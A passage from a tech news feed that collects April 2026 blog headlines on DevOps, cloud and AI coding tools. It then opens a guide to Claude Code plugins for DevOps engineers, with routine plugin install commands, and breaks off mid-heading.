<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/how-sap-concur-automates-expense-reporting-with-agentic-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-dr-testing-can-no-longer-be-an-afterthought" class="group relative scroll-mt-24">
        <a href="#h3-why-dr-testing-can-no-longer-be-an-afterthought" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why DR Testing Can No Longer Be an Afterthought
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-dr-testing-can-no-longer-be-an-afterthought"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The March 2026 drone strikes on AWS data centers in the UAE and Bahrain — the first confirmed military attack on a hyperscale cloud provider — exposed how unprepared many organisations are for a real </p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/why-dr-testing-can-no-longer-be-an-afterthought"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-for-scientific-research-building-the-research-platform-that-science-needs-with-red-hat-ai" class="group relative scroll-mt-24">
        <a href="#h3-ai-for-scientific-research-building-the-research-platform-that-science-needs-with-red-hat-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI for scientific research: Building the research platform that science needs with Red Hat AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-for-scientific-research-building-the-research-platform-that-science-needs-with-red-hat-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In a previous article, we focused on the capability that turns large language models (LLMs) from general-purpose tools into instruments of research through domain-specific customization. Fine-tuned mo</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/ai-scientific-research-building-research-platform-science-needs-red-hat-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Stop overpaying for virtualization and prove it with the Proof of Concept Guide for SUSE Virtualization.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modernizing virtualization is no longer optional. Proving it will work in your environment is the real barrier. Executive teams are being pushed to move faster while risk rises. Licensing changes have</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/stop-overpaying-for-virtualization-and-prove-it-with-the-proof-of-concept-guide-for-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1116" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1116" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.116
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1116"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.116 (Insiders) Read the full article</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_116"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-visual-studio-code-1115-moves-deeper-into-agent-native-development" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1115-moves-deeper-into-agent-native-development" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.115 Moves Deeper Into Agent-Native Development
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1115-moves-deeper-into-agent-native-development"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>VS Code 1.115 adds the VS Code Agents companion app, better browser tools, and background terminal interaction for agentic development workflows.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/visual-studio-code-1-115-moves-deeper-into-agent-native-development/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-pulls-drawstring-on-tighter-developer-usage-limits" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-pulls-drawstring-on-tighter-developer-usage-limits" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot Pulls Drawstring On Tighter Developer Usage Limits
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-pulls-drawstring-on-tighter-developer-usage-limits"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New limits for GitHub Copilot come as no surprise. To roll out over the next few weeks, at the time of writing, two usage limit restrictions will come into place.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/github-copilot-pulls-drawstring-on-tighter-developer-usage-limits/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot CLI Gets a Second Opinion — and It’s From a Different AI Family
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub Copilot CLI’s &quot;Rubber Duck&quot; experimental feature uses cross-family model collaboration (Claude + GPT-5.4) to catch architectural flaws and reduce logic errors.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/github-copilot-cli-gets-a-second-opinion-and-its-from-a-different-ai-family/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ten-great-devops-job-opportunities" class="group relative scroll-mt-24">
        <a href="#h3-ten-great-devops-job-opportunities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ten Great DevOps Job Opportunities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ten-great-devops-job-opportunities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DevOps.com is now providing a weekly DevOps jobs report through which opportunities for DevOps professionals will be highlighted as part of an effort to better serve our audience.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/ten-great-devops-job-opportunities/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cursor-claude-code-and-codex-are-merging-into-one-ai-coding-stack-nobody-planned" class="group relative scroll-mt-24">
        <a href="#h3-cursor-claude-code-and-codex-are-merging-into-one-ai-coding-stack-nobody-planned" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cursor, Claude Code, and Codex are merging into one AI coding stack nobody planned
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cursor-claude-code-and-codex-are-merging-into-one-ai-coding-stack-nobody-planned"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The AI coding tool market was supposed to consolidate. One winner would emerge, developers would standardize around it, and the The post Cursor, Claude Code, and Codex are merging into one AI coding s</p>
<p><strong>📅 Apr 12, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-coding-tool-stack/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-karpathy-says-developers-have-ai-psychosis-everyone-else-is-next" class="group relative scroll-mt-24">
        <a href="#h3-karpathy-says-developers-have-ai-psychosis-everyone-else-is-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Karpathy says developers have ‘AI Psychosis.’ Everyone else is next.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-karpathy-says-developers-have-ai-psychosis-everyone-else-is-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’m Matt Burns, Chief Content Officer at Insight Media Group. Each week, I round up the most important AI developments, The post Karpathy says developers have ‘AI Psychosis.’ Everyone else is next. ap</p>
<p><strong>📅 Apr 11, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/karpathy-says-developers-have-ai-psychosis-everyone-else-is-next/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-where-are-the-guardrails-everyone-promised-for-ai" class="group relative scroll-mt-24">
        <a href="#h3-where-are-the-guardrails-everyone-promised-for-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Where are the guardrails everyone promised for AI?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-where-are-the-guardrails-everyone-promised-for-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Everyone says AI needs guardrails. Julien Verlaguet wants to know who is actually building them. Verlaguet, founder of SkipLabs, has The post Where are the guardrails everyone promised for AI? appeare</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/skiplabs-ai-guardrails-skipper/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-not-to-learn-python" class="group relative scroll-mt-24">
        <a href="#h3-how-not-to-learn-python" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How (Not) to Learn Python
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-not-to-learn-python"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>While listening to Mark Smith’s inspirational talk for Python Unplugged on PyTV about How to Learn Python, what caught my attention was that Mark suggested turning off some of PyCharm’s AI features to</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/pycharm/2026/04/how-not-to-learn-python/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data" class="group relative scroll-mt-24">
        <a href="#h3-the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Data Gravity Problem: Moving Data to AI vs. Moving AI to Data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI promises unprecedented insights, automation and business value. But as organizations move from experimentation to production, we’re hearing more about a fundamental architectural challenge: data gr</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-data-gravity-problem-moving-data-to-ai-vs-moving-ai-to-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-april-10-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-april-10-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — April 10, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-april-10-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Don&#39;t forget to register for Red Hat SummitRegistration is now open for Red Hat Summit 2026 in Atlanta! Register by February 23 for the lowest rates, or save further with group discounts for three or </p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-april-10-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-webinar-oss-power-ups-xenoatomterminalui" class="group relative scroll-mt-24">
        <a href="#h3-webinar-oss-power-ups-xenoatomterminalui" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Webinar – OSS Power-Ups: XenoAtom.Terminal.UI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-webinar-oss-power-ups-xenoatomterminalui"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Join us Thursday, April 16, 2026, 15:00 – 16:30 UTC (check other timezones) for our free live webinar, OSS PowerUps – XenoAtom.Terminal.UI, with Alexandre Mutel. This is the fifteenth episode of our s</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/dotnet/2026/04/09/webinar-oss-power-ups-xenoatom-terminal-ui/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Best Claude Code Plugins for DevOps Engineers in 2026]]></title>
      <link>https://devops-daily.com/posts/best-claude-code-plugins-devops-2026</link>
      <description><![CDATA[A curated guide to Claude Code plugins built for DevOps workflows - from Terraform validation and Kubernetes troubleshooting to security scanning and CI/CD pipeline optimization.]]></description>
      <pubDate>Sun, 12 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/best-claude-code-plugins-devops-2026</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[DevOps]]></category><category><![CDATA[Claude Code]]></category><category><![CDATA[AI]]></category><category><![CDATA[Plugins]]></category><category><![CDATA[Automation]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[Terraform]]></category><category><![CDATA[Kubernetes]]></category>
      <content:encoded><![CDATA[<p>Claude Code plugins add specialized capabilities to your AI coding assistant. For DevOps engineers, the right plugins can validate Terraform configurations, troubleshoot Kubernetes clusters, scan for security vulnerabilities, and optimize CI/CD pipelines directly from your terminal.</p>
<p>This guide covers every plugin worth knowing about for DevOps work, organized by category, with installation commands and practical examples.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>Context7</strong> and <strong>Security Guidance</strong> are the foundation - install these first</li>
<li><strong>HashiCorp Agent Skills</strong> add Terraform and Packer expertise</li>
<li><strong>DevOps Skills Marketplace</strong> has specialized tools for Kubernetes, CI/CD, monitoring, and FinOps</li>
<li><strong>Shipyard</strong> handles infrastructure validation across Terraform, Ansible, Docker, and Kubernetes</li>
<li><strong>GitHub</strong> plugin streamlines multi-repo PR and CI/CD management</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Claude Code CLI installed (<code>claude --version</code> to verify)</li>
<li>Basic familiarity with Claude Code commands</li>
<li>Active infrastructure or DevOps projects</li>
</ul>
<h2 id="h2-how-to-install-plugins" class="group relative scroll-mt-24">
        <a href="#h2-how-to-install-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Install Plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-install-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-bash"><span class="hljs-comment"># Install from the official marketplace</span>
claude plugin install context7

<span class="hljs-comment"># Add a community marketplace</span>
claude plugin marketplace add devops-claude-skills

<span class="hljs-comment"># Install a skill from a marketplace</span>
claude plugin install iac-terraform@devops-skills

<span class="hljs-comment"># List installed plugins</span>
claude plugin list
</code></pre><h2 id="h2-foundation-plugins" class="group relative scroll-mt-24">
        <a href="#h2-foundation-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Foundation Plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-foundation-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-context7-live-documentation-lookup" class="group relative scroll-mt-24">
        <a href="#h3-context7-live-documentation-lookup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Context7 - Live Documentation Lookup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-context7-live-documentation-lookup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
